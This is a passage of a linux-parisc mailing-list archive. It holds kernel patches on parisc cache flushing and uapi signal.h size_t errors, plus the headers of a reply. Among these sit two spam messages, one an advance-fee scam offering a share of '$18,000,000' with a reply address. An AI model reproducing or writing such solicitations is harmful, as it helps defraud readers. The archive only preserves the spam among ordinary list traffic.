signal handling code.  This code only needs to flush a couple of lines, =
so the threshold check is unnecessary
overhead.

Signed-off-by: John David Anglin <dave.anglin@bell.net>



--Apple-Mail-8-356541916
Content-Disposition: attachment;
	filename=flush_user_range.d.txt
Content-Type: text/plain;
	name="flush_user_range.d.txt"
Content-Transfer-Encoding: quoted-printable

diff --git a/arch/parisc/include/asm/cacheflush.h =
b/arch/parisc/include/asm/cacheflush.h
index 7bd69bd43a01..c7e15cc5c668 100644
--- a/arch/parisc/include/asm/cacheflush.h
+++ b/arch/parisc/include/asm/cacheflush.h
@@ -27,8 +27,6 @@ void flush_user_dcache_range_asm(unsigned long, =
unsigned long);
 void flush_kernel_dcache_range_asm(unsigned long, unsigned long);
 void flush_kernel_dcache_page_asm(void *);
 void flush_kernel_icache_page(void *);
-void flush_user_dcache_range(unsigned long, unsigned long);
-void flush_user_icache_range(unsigned long, unsigned long);
=20
 /* Cache flush operations */
=20
diff --git a/arch/parisc/kernel/cache.c b/arch/parisc/kernel/cache.c
index 977f0a4f5ecf..aedadefc149e 100644
--- a/arch/parisc/kernel/cache.c
+++ b/arch/parisc/kernel/cache.c
@@ -573,24 +573,6 @@ void flush_cache_mm(struct mm_struct *mm)
 	}
 }
=20
-void
-flush_user_dcache_range(unsigned long start, unsigned long end)
-{
-	if ((end - start) < parisc_cache_flush_threshold)
-		flush_user_dcache_range_asm(start,end);
-	else
-		flush_data_cache();
-}
-
-void
-flush_user_icache_range(unsigned long start, unsigned long end)
-{
-	if ((end - start) < parisc_cache_flush_threshold)
-		flush_user_icache_range_asm(start,end);
-	else
-		flush_instruction_cache();
-}
-
 void flush_cache_range(struct vm_area_struct *vma,
 		unsigned long start, unsigned long end)
 {
diff --git a/arch/parisc/kernel/signal.c b/arch/parisc/kernel/signal.c
index 2264f68f3c2f..120eefa39de9 100644
--- a/arch/parisc/kernel/signal.c
+++ b/arch/parisc/kernel/signal.c
@@ -232,6 +232,7 @@ setup_rt_frame(struct ksignal *ksig, sigset_t *set, =
struct pt_regs *regs,
 	struct rt_sigframe __user *frame;
 	unsigned long rp, usp;
 	unsigned long haddr, sigframe_size;
+	unsigned long start, end;
 	int err =3D 0;
 #ifdef CONFIG_64BIT
 	struct compat_rt_sigframe __user * compat_frame;
@@ -299,10 +300,10 @@ setup_rt_frame(struct ksignal *ksig, sigset_t =
*set, struct pt_regs *regs,
 	}
 #endif
=20
-	flush_user_dcache_range((unsigned long) &frame->tramp[0],
-			   (unsigned long) &frame->tramp[TRAMP_SIZE]);
-	flush_user_icache_range((unsigned long) &frame->tramp[0],
-			   (unsigned long) &frame->tramp[TRAMP_SIZE]);
+	start =3D (unsigned long) &frame->tramp[0];
+	end =3D (unsigned long) &frame->tramp[TRAMP_SIZE];
+	flush_user_dcache_range_asm(start, end);
+	flush_user_icache_range_asm(start, end);
=20
 	/* TRAMP Words 0-4, Length 5 =3D SIGRESTARTBLOCK_TRAMP
 	 * TRAMP Words 5-9, Length 4 =3D SIGRETURN_TRAMP
@@ -548,8 +549,8 @@ insert_restart_trampoline(struct pt_regs *regs)
 		WARN_ON(err);
=20
 		/* flush data/instruction cache for new insns */
-		flush_user_dcache_range(start, end);
-		flush_user_icache_range(start, end);
+		flush_user_dcache_range_asm(start, end);
+		flush_user_icache_range_asm(start, end);
=20
 		regs->gr[31] =3D regs->gr[30] + 8;
 		return;

--Apple-Mail-8-356541916
Content-Transfer-Encoding: 7bit
Content-Type: text/plain;
	charset=us-ascii



--
John David Anglin	dave.anglin@bell.net

--Apple-Mail-8-356541916--
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:39:39 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: "Mr.Hassan Habib" <hh3584420@gmail.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Please I want you to patiently read this offer.?
Date: Wed, 22 Feb 2017 17:24:03 +0000 (UTC)
Lines: 24
Approved: news@gmane.org
Message-ID: <836211494.5109629.1487784243904@mail.yahoo.com>
References: <836211494.5109629.1487784243904.ref@mail.yahoo.com>
Reply-To: "Mr.Hassan Habib" <hh3584420@gmail.com>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 7bit
X-Trace: blaine.gmane.org 1487784251 26753 195.159.176.226 (22 Feb 2017 17:24:11 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Wed, 22 Feb 2017 17:24:11 +0000 (UTC)
To: unlisted-recipients:; (no To-header on input)
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Feb 22 18:24:07 2017
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1cgae6-0006Wk-0U
	for glpp-linux-parisc@m.gmane.org; Wed, 22 Feb 2017 18:24:06 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S933017AbdBVRYI (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
        Wed, 22 Feb 2017 12:24:08 -0500
Original-Received: from nm2-vm3.bullet.mail.ir2.yahoo.com ([212.82.96.83]:44727 "EHLO
        nm2-vm3.bullet.mail.ir2.yahoo.com" rhost-flags-OK-OK-OK-OK)
        by vger.kernel.org with ESMTP id S932899AbdBVRYG (ORCPT
        <rfc822;linux-parisc@vger.kernel.org>);
        Wed, 22 Feb 2017 12:24:06 -0500
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=yahoo.com; s=s2048; t=1487784244; bh=bctIpvRw3oM4rJB5LD44KCtY0VWg6rNyoQE41j3X/aE=; h=Date:From:Reply-To:Subject:References:From:Subject; b=I9NCaHbfWZZa4symd8p5/ns6fXX4nqb4+/q5dUye7sAtj3Rt/KmwndqeGnurAdeUxcwQlPq2eioiZyj3UoB/8pV5oYeFmIwn6kJcj/vu/NowwvbMvzuKAuj1uZ8zlCUp1E3DcJaIwNmfKWJ5Hf51elS/FSSQzRj/huCoCZMQr5GYEe+V6T/V+gotfxfi1OD5jCFm1X4J3kAit6Cv+2pcQhX3PJYZ58uK4nlfbIIxzqDTjWuO/OXnrBmFnay/3bEICy8RuYKdokDY3LkvBTLWNL3+9bUWT0HQGkAW2n0SswC2zXRvb0trgowofdPUip7K2MqW1i19kxfIcptKRVdl/A==
Original-Received: from [212.82.98.60] by nm2.bullet.mail.ir2.yahoo.com with NNFMP; 22 Feb 2017 17:24:04 -0000
Original-Received: from [212.82.98.65] by tm13.bullet.mail.ir2.yahoo.com with NNFMP; 22 Feb 2017 17:24:04 -0000
Original-Received: from [127.0.0.1] by omp1002.mail.ir2.yahoo.com with NNFMP; 22 Feb 2017 17:24:04 -0000
X-Yahoo-Newman-Property: ymail-3
X-Yahoo-Newman-Id: 654326.53403.bm@omp1002.mail.ir2.yahoo.com
X-YMail-OSG: smvZUK8VM1nNLerBFgA5uWtcrX62qwpDDiK36WtN5_5SnA.bVaIF.Ir5EQTHJ2F
 kpoc1b6MUcFq.GPX37maxfkzNmtlvbkGyshSFo2Utw4xVCN5fg20WSvdy5jhC1qsJbcH.PfgKqAO
 ch.EL..nMx0KMr2GJBMC0W_70T551LLqAYOMPgLv17GoaZoyrBcQeE0MsMJ2FAC3ql89WHnDEUSC
 acYQrYcHBE_zb5EbphXwXScVJ8jQtiUhzhl5b2ae9.uzGyqoBbewf6nryg6UZCLWrMJ18HGjkH9O
 9buH2Hv0DzVb1m6FyXwHHZXz1T7y4hxSGvTk0eWJSFAAqCxlDLiYI_QAwgLPWF0tMQHUpF1jQDwq
 nov1QPlyIhopRiuZp.eN6QfV4jhP8MpcwwLwk0.PCcYDaImzgbdVjjexzj76qNepMdRJHwIKY0Fi
 GcIgT4h8EK3Y6jfVcRg7k.eLkz1B6KSpnYWx79YSLqrxusMR6bqgOZQkYmqJqxlsHKMAXxWJUDZGc
Original-Received: from jws700033.mail.ir2.yahoo.com by sendmailws162.mail.ir2.yahoo.com; Wed, 22 Feb 2017 17:24:04 +0000; 1487784244.130
Content-Length: 909
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:27282
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/27282>

Hello.

I know this means of communication may not be morally right to you as a person but I also have had a great thought about it and I have come to this conclusion which I am about to share with you.

INTRODUCTION:I am the Credit Manager U. B. A Bank of Burkina Faso Ouagadougou
and in one way or the other was hoping you will cooperate with me as a partner in a project of transferring an abandoned fund of a late customer of the bank worth of $18,000,000 (Eighteen Million Dollars US).

This will be disbursed or shared between the both of us in these percentages, 55% to me and 35% to you while 10% will be for expenses both parties might have incurred during the process of transferring.
I
await for your response so that we can commence on this project as soon as possible.

Reply to this Email:mr_habib2015@yahoo.com

Regards,
Mr.Hassan Habib.

Credit Manager U.B.A Bank of
Burkina Faso Ouagadougou

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:39:39 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Qin's Yanjun <Qin.Yanjun@null.net>
Newsgroups: gmane.linux.ports.parisc
Subject: RE:
Date: Thu, 23 Feb 2017 20:09:29 +0500
Lines: 17
Approved: news@gmane.org
Message-ID: <cf3faff95fb3db02602e6f37c5cd928f__24494.3554782823$1487879108$gmane$org@mail.aknet.kz>
Reply-To: Qin's Yanjun <Qin.Yanjun@null.net>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7BIT
X-Trace: blaine.gmane.org 1487879108 23319 195.159.176.226 (23 Feb 2017 19:45:08 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Thu, 23 Feb 2017 19:45:08 +0000 (UTC)
To: unlisted-recipients:; (no To-header on input)
Original-X-From: linux-parisc-owner@vger.kernel.org Thu Feb 23 20:45:04 2017
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1cgzK3-0002mS-08
	for glpp-linux-parisc@m.gmane.org; Thu, 23 Feb 2017 20:45:03 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1751593AbdBWTpJ (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
        Thu, 23 Feb 2017 14:45:09 -0500
Original-Received: from mail.aknet.kz ([88.151.176.20]:46271 "EHLO aknet.kz"
        rhost-flags-OK-OK-OK-FAIL) by vger.kernel.org with ESMTP
        id S1751210AbdBWTpJ (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
        Thu, 23 Feb 2017 14:45:09 -0500
Original-Received: by aknet.kz (CommuniGate Pro PIPE 5.2.12)
  with PIPE id 17981878; Thu, 23 Feb 2017 20:09:41 +0500
X-Priority: 3
X-Mailer: PHPMailer [version 1.73]
X-Originating-IP: 104.200.153.85
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:27283
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/27283>


How are you today and your family? I require your attention and honest
co-operation about some issues which i will really want to discuss with you
which.  Looking forward to read from you soon.  

Qin's


______________________________

Sky Silk, http://aknet.kz

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:39:39 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: "Dmitry V. Levin" <ldv@altlinux.org>
Newsgroups: gmane.linux.ports.m68k,gmane.linux.kernel.cross-arch,gmane.linux.ports.alpha,gmane.linux.ports.arm.kernel,gmane.linux.ports.ia64,gmane.linux.ports.mips.general,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.ports.sparc,gmane.linux.kernel
Subject: [PATCH] uapi: fix asm/signal.h userspace compilation errors
Date: Sun, 26 Feb 2017 04:01:56 +0300
Lines: 280
Approved: news@gmane.org
Message-ID: <20170226010156.GA28831@altlinux.org>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: blaine.gmane.org 1488070945 19424 195.159.176.226 (26 Feb 2017 01:02:25 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Sun, 26 Feb 2017 01:02:25 +0000 (UTC)
Cc: Russell King <linux@armlinux.org.uk>,
        Haavard Skinnemoen <hskinnemoen@gmail.com>,
        Hans-Christian Egtvedt <egtvedt@samfundet.no>,
        Mikael Starvik <starvik@axis.com>,
        Jesper Nilsson <jesper.nilsson@axis.com>,
        Yoshinori Sato <ysato@users.sourceforge.jp>,
        Tony Luck <tony.luck@intel.com>,
        Fenghua Yu <fenghua.yu@intel.com>,
        Geert Uytterhoeven <geert@linux-m68k.org>,
        Ralf Baechle <ralf@linux-mips.org>,
        David Howells <dhowells@redhat.com>,
        "James E.J. Bottomley" <jejb@parisc-linux.org>,
        Helge Deller <deller@gmx.de>,
        Benjamin Herrenschmidt <benh@kernel.crashing.org>,
        Paul Mackerras <paulus@samba.org>,
        Michael Ellerman <mpe@ellerman.id.au>,
        Martin Schwidefsky <schwidefsky@de.ibm.com>,
        Heiko Carstens <heiko.carstens@de.ibm.com>,
        "David S. Miller" <davem@
To: Arnd Bergmann <arnd@arndb.de>
Original-X-From: linux-m68k-owner@vger.kernel.org Sun Feb 26 02:02:17 2017
Return-path: <linux-m68k-owner@vger.kernel.org>
Envelope-to: glpm-linux-m68k@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-m68k-owner@vger.kernel.org>)
	id 1chnE6-0008BJ-ME
	for glpm-linux-m68k@m.gmane.org; Sun, 26 Feb 2017 02:02:15 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1751916AbdBZBCV (ORCPT <rfc822;glpm-linux-m68k@m.gmane.org>);
        Sat, 25 Feb 2017 20:02:21 -0500
Original-Received: from vmicros1.altlinux.org ([194.107.17.57]:40906 "EHLO
        vmicros1.altlinux.org" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S1751869AbdBZBCU (ORCPT
        <rfc822;linux-m68k@lists.linux-m68k.org>);
        Sat, 25 Feb 2017 20:02:20 -0500
Original-Received: from mua.local.altlinux.org (mua.local.altlinux.org [192.168.1.14])
        by vmicros1.altlinux.org (Postfix) with ESMTP id 2D50072EF79;
        Sun, 26 Feb 2017 04:01:57 +0300 (MSK)
Original-Received: by mua.local.altlinux.org (Postfix, from userid 508)
        id 015847CCC18; Sun, 26 Feb 2017 04:01:56 +0300 (MSK)
Content-Disposition: inline
Original-Sender: linux-m68k-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-m68k.vger.kernel.org>
X-Mailing-List: linux-m68k@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.m68k:9230 gmane.linux.kernel.cross-arch:35212 gmane.linux.ports.alpha:4093 gmane.linux.ports.arm.kernel:561242 gmane.linux.ports.ia64:27660 gmane.linux.ports.mips.general:58062 gmane.linux.ports.parisc:27284 gmane.linux.ports.ppc64.devel:138955 gmane.linux.ports.sparc:24619 gmane.linux.kernel:2418821
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.m68k/9230>

Include <stddef.h> (guarded by #ifndef __KERNEL__) to fix asm/signal.h
userspace compilation errors like this:

/usr/include/asm/signal.h:126:2: error: unknown type name 'size_t'
  size_t ss_size;

As no uapi header provides a definition of size_t, inclusion
of <stddef.h> seems to be the most conservative fix available.

On the kernel side size_t is typedef'ed to __kernel_size_t, so
an alternative fix would be to change the type of sigaltstack.ss_size
from size_t to __kernel_size_t for all architectures except those where
sizeof(size_t) < sizeof(__kernel_size_t), namely, x32 and mips n32.

On x32 and mips n32, however, #include <stddef.h> seems to be the most
straightforward way to obtain the definition for sigaltstack.ss_size's
type.

Signed-off-by: Dmitry V. Levin <ldv@altlinux.org>
---
 include/uapi/asm-generic/signal.h      | 3 +++
 arch/alpha/include/uapi/asm/signal.h   | 3 +++
 arch/arm/include/uapi/asm/signal.h     | 3 +++
 arch/avr32/include/uapi/asm/signal.h   | 3 +++
 arch/cris/include/uapi/asm/signal.h    | 3 +++
 arch/h8300/include/uapi/asm/signal.h   | 3 +++
 arch/ia64/include/uapi/asm/signal.h    | 4 ++++
 arch/m32r/include/uapi/asm/signal.h    | 3 +++
 arch/m68k/include/uapi/asm/signal.h    | 3 +++
 arch/mips/include/uapi/asm/signal.h    | 3 +++
 arch/mn10300/include/uapi/asm/signal.h | 3 +++
 arch/parisc/include/uapi/asm/signal.h  | 4 ++++
 arch/powerpc/include/uapi/asm/signal.h | 3 +++
 arch/s390/include/uapi/asm/signal.h    | 3 +++
 arch/sparc/include/uapi/asm/signal.h   | 3 +++
 arch/x86/include/uapi/asm/signal.h     | 3 +++
 arch/xtensa/include/uapi/asm/signal.h  | 2 ++
 17 files changed, 52 insertions(+)

diff --git a/include/uapi/asm-generic/signal.h b/include/uapi/asm-generic/signal.h
index 3094618..e618eab 100644
--- a/include/uapi/asm-generic/signal.h
+++ b/include/uapi/asm-generic/signal.h
@@ -100,6 +100,9 @@ typedef unsigned long old_sigset_t;
 #endif
 
 #ifndef __KERNEL__
+
+#include <stddef.h>	/* For size_t. */
+
 struct sigaction {
 	__sighandler_t sa_handler;
 	unsigned long sa_flags;
diff --git a/arch/alpha/include/uapi/asm/signal.h b/arch/alpha/include/uapi/asm/signal.h
index dd4ca4bc..74e09f6 100644
--- a/arch/alpha/include/uapi/asm/signal.h
+++ b/arch/alpha/include/uapi/asm/signal.h
@@ -94,6 +94,9 @@ typedef unsigned long sigset_t;
 #include <asm-generic/signal-defs.h>
 
 #ifndef __KERNEL__
+
+#include <stddef.h>	/* For size_t. */
+
 /* Here we must cater to libcs that poke about in kernel headers.  */
 
 struct sigaction {
diff --git a/arch/arm/include/uapi/asm/signal.h b/arch/arm/include/uapi/asm/signal.h
index 33073bd..a7b0012 100644
--- a/arch/arm/include/uapi/asm/signal.h
+++ b/arch/arm/include/uapi/asm/signal.h
@@ -93,6 +93,9 @@ typedef unsigned long sigset_t;
 #include <asm-generic/signal-defs.h>
 
 #ifndef __KERNEL__
+
+#include <stddef.h>	/* For size_t. */
+
 /* Here we must cater to libcs that poke about in kernel headers.  */
 
 struct sigaction {
diff --git a/arch/avr32/include/uapi/asm/signal.h b/arch/avr32/include/uapi/asm/signal.h
index ffe8c77..62f3b88 100644
--- a/arch/avr32/include/uapi/asm/signal.h
+++ b/arch/avr32/include/uapi/asm/signal.h
@@ -95,6 +95,9 @@ typedef unsigned long sigset_t;
 #include <asm-generic/signal-defs.h>
 
 #ifndef __KERNEL__
+
+#include <stddef.h>	/* For size_t. */
+
 /* Here we must cater to libcs that poke about in kernel headers.  */
 
 struct sigaction {
diff --git a/arch/cris/include/uapi/asm/signal.h b/arch/cris/include/uapi/asm/signal.h
index ce42fa7..bedff78 100644
--- a/arch/cris/include/uapi/asm/signal.h
+++ b/arch/cris/include/uapi/asm/signal.h
@@ -89,6 +89,9 @@ typedef unsigned long sigset_t;
 #include <asm-generic/signal-defs.h>
 
 #ifndef __KERNEL__
+
+#include <stddef.h>	/* For size_t. */
+
 /* Here we must cater to libcs that poke about in kernel headers.  */
 
 struct sigaction {
diff --git a/arch/h8300/include/uapi/asm/signal.h b/arch/h8300/include/uapi/asm/signal.h
index af3a6c3..361e2e5 100644
--- a/arch/h8300/include/uapi/asm/signal.h
+++ b/arch/h8300/include/uapi/asm/signal.h
@@ -88,6 +88,9 @@ typedef unsigned long sigset_t;
 #include <asm-generic/signal-defs.h>
 
 #ifndef __KERNEL__
+
+#include <stddef.h>	/* For size_t. */
+
 /* Here we must cater to libcs that poke about in kernel headers.  */
 
 struct sigaction {
diff --git a/arch/ia64/include/uapi/asm/signal.h b/arch/ia64/include/uapi/asm/signal.h
index c0ea285..b089bfc 100644
--- a/arch/ia64/include/uapi/asm/signal.h
+++ b/arch/ia64/include/uapi/asm/signal.h
@@ -107,6 +107,10 @@
 
 #  include <linux/types.h>
 
+#  ifndef __KERNEL__
+#   include <stddef.h>	/* For size_t. */
+#  endif
+
 /* Avoid too many header ordering problems.  */
 struct siginfo;
 
diff --git a/arch/m32r/include/uapi/asm/signal.h b/arch/m32r/include/uapi/asm/signal.h
index 54acacb..269ec39 100644
--- a/arch/m32r/include/uapi/asm/signal.h
+++ b/arch/m32r/include/uapi/asm/signal.h
@@ -90,6 +90,9 @@ typedef unsigned long sigset_t;
 #include <asm-generic/signal-defs.h>
 
 #ifndef __KERNEL__
+
+#include <stddef.h>	/* For size_t. */
+
 /* Here we must cater to libcs that poke about in kernel headers.  */
 
 struct sigaction {
diff --git a/arch/m68k/include/uapi/asm/signal.h b/arch/m68k/include/uapi/asm/signal.h
index cba6f85..f6a409e 100644
--- a/arch/m68k/include/uapi/asm/signal.h
+++ b/arch/m68k/include/uapi/asm/signal.h
@@ -86,6 +86,9 @@ typedef unsigned long sigset_t;
 #include <asm-generic/signal-defs.h>
 
 #ifndef __KERNEL__
+
+#include <stddef.h>	/* For size_t. */
+
 /* Here we must cater to libcs that poke about in kernel headers.  */
 
 struct sigaction {
diff --git a/arch/mips/include/uapi/asm/signal.h b/arch/mips/include/uapi/asm/signal.h
index addb9f5..744fd71 100644
--- a/arch/mips/include/uapi/asm/signal.h
+++ b/arch/mips/include/uapi/asm/signal.h
@@ -101,6 +101,9 @@ typedef unsigned long old_sigset_t;		/* at least 32 bits */
 #include <asm-generic/signal-defs.h>
 
 #ifndef __KERNEL__
+
+#include <stddef.h>	/* For size_t. */
+
 struct sigaction {
 	unsigned int	sa_flags;
 	__sighandler_t	sa_handler;
diff --git a/arch/mn10300/include/uapi/asm/signal.h b/arch/mn10300/include/uapi/asm/signal.h
index f423a08..2e79c71 100644
--- a/arch/mn10300/include/uapi/asm/signal.h
+++ b/arch/mn10300/include/uapi/asm/signal.h
@@ -98,6 +98,9 @@ typedef unsigned long sigset_t;
 #include <asm-generic/signal-defs.h>
 
 #ifndef __KERNEL__
+
+#include <stddef.h>	/* For size_t. */
+
 /* Here we must cater to libcs that poke about in kernel headers.  */
 
 struct sigaction {
diff --git a/arch/parisc/include/uapi/asm/signal.h b/arch/parisc/include/uapi/asm/signal.h
index e26043b..6c6c979 100644
--- a/arch/parisc/include/uapi/asm/signal.h
+++ b/arch/parisc/include/uapi/asm/signal.h
@@ -81,6 +81,10 @@
 
 #  include <linux/types.h>
 
+#  ifndef __KERNEL__
+#   include <stddef.h>	/* For size_t. */
+#  endif
+
 /* Avoid too many header ordering problems.  */
 struct siginfo;
 
diff --git a/arch/powerpc/include/uapi/asm/signal.h b/arch/powerpc/include/uapi/asm/signal.h
index 6c69ee9..fba7738 100644
--- a/arch/powerpc/include/uapi/asm/signal.h
+++ b/arch/powerpc/include/uapi/asm/signal.h
@@ -91,6 +91,9 @@ typedef struct {
 #include <asm-generic/signal-defs.h>
 
 #ifndef __KERNEL__
+
+#include <stddef.h>	/* For size_t. */
+
 struct old_sigaction {
 	__sighandler_t sa_handler;
 	old_sigset_t sa_mask;
diff --git a/arch/s390/include/uapi/asm/signal.h b/arch/s390/include/uapi/asm/signal.h
index 2f43cfb..306373b6a 100644
--- a/arch/s390/include/uapi/asm/signal.h
+++ b/arch/s390/include/uapi/asm/signal.h
@@ -96,6 +96,9 @@ typedef unsigned long sigset_t;
 #include <asm-generic/signal-defs.h>
 
 #ifndef __KERNEL__
+
+#include <stddef.h>	/* For size_t. */
+
 /* Here we must cater to libcs that poke about in kernel headers.  */
 
 struct sigaction {
diff --git a/arch/sparc/include/uapi/asm/signal.h b/arch/sparc/include/uapi/asm/signal.h
index f387400..3b4664c 100644
--- a/arch/sparc/include/uapi/asm/signal.h
+++ b/arch/sparc/include/uapi/asm/signal.h
@@ -154,6 +154,9 @@ struct sigstack {
 #include <asm-generic/signal-defs.h>
 
 #ifndef __KERNEL__
+
+#include <stddef.h>	/* For size_t. */
+
 struct __new_sigaction {
 	__sighandler_t		sa_handler;
 	unsigned long		sa_flags;
diff --git a/arch/x86/include/uapi/asm/signal.h b/arch/x86/include/uapi/asm/signal.h
index 8264f47..2d6db1d 100644
--- a/arch/x86/include/uapi/asm/signal.h
+++ b/arch/x86/include/uapi/asm/signal.h
@@ -96,6 +96,9 @@ typedef unsigned long sigset_t;
 
 
 # ifndef __KERNEL__
+
+#  include <stddef.h>	/* For size_t. */
+
 /* Here we must cater to libcs that poke about in kernel headers.  */
 #ifdef __i386__
 
diff --git a/arch/xtensa/include/uapi/asm/signal.h b/arch/xtensa/include/uapi/asm/signal.h
index 586756e..bbc9b14 100644
--- a/arch/xtensa/include/uapi/asm/signal.h
+++ b/arch/xtensa/include/uapi/asm/signal.h
@@ -106,6 +106,8 @@ typedef struct {
 
 #ifndef __KERNEL__
 
+#include <stddef.h>	/* For size_t. */
+
 /* Here we must cater to libcs that poke about in kernel headers.  */
 
 struct sigaction {
-- 
ldv

From - Thu Nov 08 21:39:39 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Arnd Bergmann <arnd@arndb.de>
Newsgroups: gmane.linux.ports.mips.general,gmane.linux.kernel.cross-arch,gmane.linux.ports.alpha,gmane.linux.ports.arm.kernel,gmane.linux.ports.ia64,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.ports.sparc,gmane.linux.kernel
Subject: Re: [PATCH] uapi: fix asm/signal.h userspace compilation errors
Date: Wed, 1 Mar 2017 17:20:50 +0100
Lines: 28
Approved: news@gmane.org
Message-ID: <CAK8P3a0YX3RGAqWN0mwUJtBsqUX0C+QRtJLrT_UA=wX6Z+q0DA@mail.gmail.com>
References: <20170226010156.GA28831@altlinux.org>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=UTF-8
X-Trace: blaine.gmane.org 1488385294 31049 195.159.176.226 (1 Mar 2017 16:21:34 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Wed, 1 Mar 2017 16:21:34 +0000 (UTC)
Cc: Russell King <linux@armlinux.org.uk>,
        Haavard Skinnemoen <hskinnemoen@gmail.com>,
        Hans-Christian Egtvedt <egtvedt@samfundet.no>,
        Mikael Starvik <starvik@axis.com>,
        Jesper Nilsson <jesper.nilsson@axis.com>,
        Yoshinori Sato <ysato@users.sourceforge.jp>,
        Tony Luck <tony.luck@intel.com>,
        Fenghua Yu <fenghua.yu@intel.com>,
        Geert Uytterhoeven <geert@linux-m68k.org>,
        Ralf Baechle <ralf@linux-mips.org>,
        David Howells <dhowells@redhat.com>,
        "James E.J. Bottomley" <jejb@parisc-linux.org>,
        Helge Deller <deller@gmx.de>,
        Benjamin Herrenschmidt <benh@kernel.crashing.org>,
        Paul Mackerras <paulus@samba.org>,
        Michael Ellerman <mpe@ellerman.id.au>,
        Martin Schwidefsky <schwidefsky@de.ibm.com>,
        Heiko Carstens <heiko.carstens@de.ibm.com>,
        "David S. Miller" <davem@
To: "Dmitry V. Levin" <ldv@altlinux.org>
Original-X-From: linux-mips-bounce@linux-mips.org Wed Mar 01 17:21:26 2017
Return-path: <linux-mips-bounce@linux-mips.org>
Envelope-to: sgi-linux-mips@gmane.org
Original-Received: from mxfilter-048035.atla03.us.yomura.com ([107.189.48.35])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-mips-bounce@linux-mips.org>)
	id 1cj70B-0006ma-3H
	for sgi-linux-mips@gmane.org; Wed, 01 Mar 2017 17:21:19 +0100
X-Yomura-MXScrub: 1.0
Original-Received: from cvs.linux-mips.org (unknown [148.251.95.138])
	by mxfilter-048035.atla03.us.yomura.com (Halon) with ESMTP
	id 1bdf6d26-fe9b-11e6-b156-b499baabecb2;
	Wed, 01 Mar 2017 16:21:22 +0000 (UTC)
Original-Received: from localhost.localdomain ([127.0.0.1]:54168 "EHLO
        eddie.linux-mips.org" rhost-flags-OK-OK-OK-FAIL)
        by eddie.linux-mips.org with ESMTP id S23993869AbdCAQVT3TPTz (ORCPT
        <rfc822;sgi-linux-mips@gmane.org>); Wed, 1 Mar 2017 17:21:19 +0100
Original-Received: with ECARTIS (v1.0.0; list linux-mips); Wed, 01 Mar 2017 17:21:05 +0100 (CET)
Original-Received: from mail-ot0-x241.google.com ([IPv6:2607:f8b0:4003:c0f::241]:35159
        "EHLO mail-ot0-x241.google.com" rhost-flags-OK-OK-OK-OK)
